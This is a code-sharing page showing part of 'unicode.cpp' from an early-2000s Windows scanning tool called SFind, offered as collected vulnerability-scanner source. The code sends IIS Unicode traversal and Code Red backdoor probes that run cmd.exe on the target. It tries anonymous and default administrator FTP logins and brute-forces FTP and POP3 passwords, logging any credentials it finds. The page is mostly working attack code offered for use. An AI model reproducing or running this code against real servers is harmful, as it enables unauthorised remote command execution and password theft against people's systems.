⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unicode.cpp

📁 VC++ 的漏洞扫描程序 源码 从别处收集来的 希望对大家有用
💻 CPP
📖 第 1 页 / 共 3 页
字号:
		 }
	if (strstr(recvbuf,"200 OK"))
	{
		 cout<<inet_ntoa(server.sin_addr)<<(char*)cgistr<<endl;
   	     myf<<inet_ntoa(server.sin_addr)<<(char*)cgistr<<endl;
	     ok++;
	}
    maxthread--;
    closesocket(s);
	}
}

return 0;
 }


//版本信息
void ver()
{   cout<<endl;
	cout<<"        =========SFind command line super tools version 1.85========="<<endl; 
    cout<<"        ========By Sunw 1999-2001. http://sw_sun.myetang.com========="<<endl<<endl;
}
//等待线程结束函数
void WaitThreadEnd()
{   
	 cout<<"Please wait "<<maxthread<<" Thread end.....\r";
     cout<<endl;
	 for(;;)
	  { 
		if (maxthread!=0)
		{ Sleep(200);
		continue;}
	    else break;
	  }
	  return;
}
//测试线程是否已满
void TestThread(int thread)
{
	for (;;){
		if (maxthread>thread)
		{//cout<<"thread"<<endl;
		Sleep(3500);}
		else break;
	}
	return;
}
//检测扫描IIS漏洞类型
void checkiisholetype()
{
if (stricmp(type,"-idq")==0) {strcpy(sendbuf,"GET /NULL.idq\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find .idq hole");}
if (stricmp(type,"-pri")==0) {strcpy(sendbuf,"GET /NULL.printer\n");strcpy(checkhole,"500 13\r\nServer: Microsoft-IIS/5.0");strcpy(iisholemessage," find .printer hole");}
if (stricmp(type,"-uni")==0) {strcpy(sendbuf,"GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir\r\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find unicode hole");}
if (stricmp(type,"-codered")==0) {strcpy(sendbuf,"GET /scripts/root.exe?/c+dir\r\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find codered host");}
return;
}

//测试ftp匿名登陆函数
UINT ftpanonymous(LPVOID ip)
{   int ipaddr=int(ip);
	SOCKET s;
	sockaddr_in server;
	char recvbuf[100],ftpsenduser[100],ftpsendpass[100];
	if (ftpopt==true){strcpy(ftpsenduser,"user administrator\r\n");}
    else {strcpy(ftpsenduser,"user anonymous\r\n");strcpy(ftpsendpass,"pass sunw@www.com\r\n");}  
    server.sin_family=AF_INET;
    server.sin_addr.s_addr=htonl(ipaddr);
    server.sin_port=htons(21);
	//显示进度
	if (searchend<=searchnumber+1&&searchnumber!=0)
	{	
	cout<<(searchend)*100/(searchnumber)<<"% Complete.\r";
	}
    //设置套接字为非阻塞模式
    struct fd_set mask;
    struct timeval timeout;
  for (int j=0;j<10;j++)
  { if (ftpopt==true) {strcpy(ftpsendpass,"pass ");strcat(ftpsendpass,ftppass[j]);strcat(ftpsendpass,"\r\n");}
	s=socket(AF_INET,SOCK_STREAM,0);
    if (s==INVALID_SOCKET) {cout<<"Socket() Error"<<endl;maxthread--;return -1;}
	timeout.tv_sec=3;                // 超时限制为2秒 
    timeout.tv_usec=0;  
    FD_ZERO(& mask);                //清空集合mask 
    FD_SET(s,& mask);               //将s放入集合mask中
    unsigned long flag=1;
    if (ioctlsocket(s,FIONBIO,&flag)!=0) {cout<<"ioctlsocket error"<<WSAGetLastError()<<endl;maxthread--;closesocket(s);return -1;} 
	connect(s,(struct sockaddr *)&server,sizeof(server));
    switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
	     case -1: {cout<<"select error"<<endl;closesocket(s);maxthread--;return -1;}
         case 0: { maxthread--;closesocket(s);return -1;}//如果超时
         default:
	     if(FD_ISSET(s,&mask))
		 {   
			 for (int i=0;i<2;i++)
			 {
				 if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			 break;
			 }
             if (strstr(recvbuf,"220"))
			 {  
				 if (send(s,ftpsenduser,strlen(ftpsenduser),0)==SOCKET_ERROR)
	                cout<<"Send() Error"<<endl;
			 }
		     for (i=0;i<2;i++)
			 {
				 if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			 break;
			 }
           
             if (strstr(recvbuf,"331"))
	            if(send(s,ftpsendpass,strlen(ftpsendpass),0)==SOCKET_ERROR)
			       cout<<"Send() Error"<<endl;
	         for (i=0;i<2;i++)
			 {
				 if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			 break;
			 }
            if (strstr(recvbuf,"230"))
			{   
			   if (ftpopt==true)
			   {
				   if (j==0)
				   {cout<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. no password."<<endl;
	                myf<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. no password."<<endl;
				   }
				   else
				   {
			         cout<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. password is '"<<ftppass[j]<<"'"<<endl;
	                 myf<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. password is '"<<ftppass[j]<<"'"<<endl;
				   }
			   }
			   else
			   {
		         cout<<inet_ntoa(server.sin_addr)<<" ftp user anonymous longin succeed."<<" password is you E-mail."<<endl;
	             myf<<inet_ntoa(server.sin_addr)<<" ftp user anonymous longin succeed."<<" password is you E-mail."<<endl;
			   }
			   send(s,"QUIT\r\n",10,0);
			   ok++;			   
			   maxthread--;
			   closesocket(s);
			   return 0;
			}
			send(s,"QUIT\r\n",10,0);
		    if (ftpopt==false){maxthread--;closesocket(s);return -1;} 
		 }
	}
  }
closesocket(s);
maxthread--;
return 0;
}
//设置光标坐标函数
bool ResetCursor(int y, int x)
{
	
       CONSOLE_SCREEN_BUFFER_INFO coninfo;
	   hstdout=GetStdHandle(STD_OUTPUT_HANDLE);

//    取得当前光标位置
       if (!GetConsoleScreenBufferInfo(hstdout,&coninfo))
	   {
              cout<<"GetConsoleScreenBufferInfo Error"<<endl;			  
  
		      return false;
}
	     if (x!=90)
	     coninfo.dwCursorPosition.X=x;
		 if (y!=90)
	     coninfo.dwCursorPosition.Y=y;
SetConsoleCursorPosition(hstdout,coninfo.dwCursorPosition);
return true;
}
//进度显示
void plango()
{
	//ResetCursor(24,0);
	cout<<planx[plan]<<"\r";
	if (plan>=3) {plan=-1;}
	return;
}
//测试密码位数
int passdigit(int type)
{  //字符进位
	if (type==0)
	{
	if (digit==1&&strch[0]=='z') digit++; 
	if (digit==2&&strch[0]=='z'&&strch[1]=='z') digit++;
	if (digit==3&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z') digit++;
	if (digit==4&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z') digit++;
	if (digit==5&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z') digit++;
	if (digit==6&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z') digit++;
	if (digit==7&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z') digit++;
	if (digit==8&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z') digit++;
	if (digit==9&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z') digit++;
	if (digit==10&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z') digit++;
	if (digit==11&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z') digit++;
	if (digit==12&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z') digit++;
	if (digit==13&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z'&&strch[12]=='z') digit++;
	}
	//数字进位
	if (type==1)
	{
	if (digit==1&&strch[0]=='9') digit++; 
	if (digit==2&&strch[0]=='9'&&strch[1]=='9') digit++;
	if (digit==3&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9') digit++;
	if (digit==4&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9') digit++;
	if (digit==5&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9') digit++;
	if (digit==6&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9') digit++;
	if (digit==7&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9') digit++;
	if (digit==8&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9') digit++;
	if (digit==9&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9') digit++;
	if (digit==10&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9') digit++;
	if (digit==11&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9') digit++;
	if (digit==12&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9') digit++;
	if (digit==13&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9'&&strch[12]=='9') digit++;
	}
	return 0;
}
//穷举函数
UINT cracker(LPVOID pass)
{ 
	char static *ftppassword=(char*)pass,checkhole1[5],checkhole2[5],checkhole3[5];
	char recvbuf[500],ftpsendpass[100],ftpsenduser[100],recvbufpop[500];
    SOCKET s;
	sockaddr_in server;
	server.sin_family=AF_INET;
    server.sin_addr.s_addr=inet_addr(uhackip);
	if (ftpopt==true)
    server.sin_port=htons(21);
	else server.sin_port=htons(110);
	//显示进度
	cout<<"Test: "<<(char *)pass<<"\r";
    //设置套接字为非阻塞模式
    struct fd_set mask;
    struct timeval timeout;
	strcpy(ftpsenduser,"user ");
	strcat(ftpsenduser,ftpuser);
	strcat(ftpsenduser,"\r\n");
    strcpy(ftpsendpass,"pass ");
    strcat(ftpsendpass,ftppassword);
    strcat(ftpsendpass,"\r\n");
	s=socket(AF_INET,SOCK_STREAM,0);
	if (ftpopt==true)
	{
		strcpy(checkhole1,"220");
	    strcpy(checkhole2,"331");
	    strcpy(checkhole3,"230");
	}
	else
	{
		strcpy(checkhole1,"+OK ");
	    strcpy(checkhole2,"+OK ");
		strcpy(checkhole3,"+OK ");
	}
    if (s==INVALID_SOCKET) {cout<<"Socket() Error"<<endl;maxthread--;return -1;}
	timeout.tv_sec=3;                // 超时限制为2秒 
    timeout.tv_usec=0;  
    FD_ZERO(& mask);                //清空集合mask 
    FD_SET(s,& mask);               //将s放入集合mask中
    unsigned long flag=1;
    if (ioctlsocket(s,FIONBIO,&flag)!=0) {cout<<"ioctlsocket error"<<WSAGetLastError()<<endl;maxthread--;closesocket(s);return -1;} 
	connect(s,(struct sockaddr *)&server,sizeof(server));
    switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
	     case -1: {cout<<"select error"<<WSAGetLastError()<<endl;closesocket(s);maxthread--;return -1;}
         case 0: { maxthread--;closesocket(s);return -1;}//如果超时
         default:
	    if(FD_ISSET(s,&mask))
		 {   
			 for (int i=0;i<10;i++)
			 {    
				 if (recv(s,recvbuf,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			        break;
			 }
             if (strstr(recvbuf,checkhole1))
			 {    if (send(s,ftpsenduser,strlen(ftpsenduser),0)==SOCKET_ERROR)
	              cout<<"Send()1 Error"<<WSAGetLastError();
			 }
		     for (i=0;i<10;i++)
			 {
				 if (recv(s,recvbuf,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			 break;
			 }
             if (strstr(recvbuf,checkhole2))
			 {  
	               if(send(s,ftpsendpass,strlen(ftpsendpass),0)==SOCKET_ERROR)
			       cout<<"Send()2 Error"<<WSAGetLastError()<<endl;
			 }
	         for (i=0;i<10;i++)
			 {
				 if (recv(s,recvbufpop,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;}				}
			 break;
			 }
			if (strstr(recvbufpop,checkhole3))
			{      // cout<<recvbufpop<<endl;
			        cout<<"Password  : "<<ftppassword<<endl;
			        myf<<"Ftp server: "<<uhackip<<endl;
			        myf<<"User name : "<<ftpuser<<endl;
	                myf<<"Password  : "<<ftppassword<<endl;
                    myf<<"COMMAND OVER."<<endl<<endl<<endl;
			        send(s,"QUIT\r\n",10,0);  
			        closesocket(s);
			        endx=true;
		//		}
			}
			send(s,"QUIT\r\n",10,0);
		 }
	}
  
closesocket(s);
maxthread--;
return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -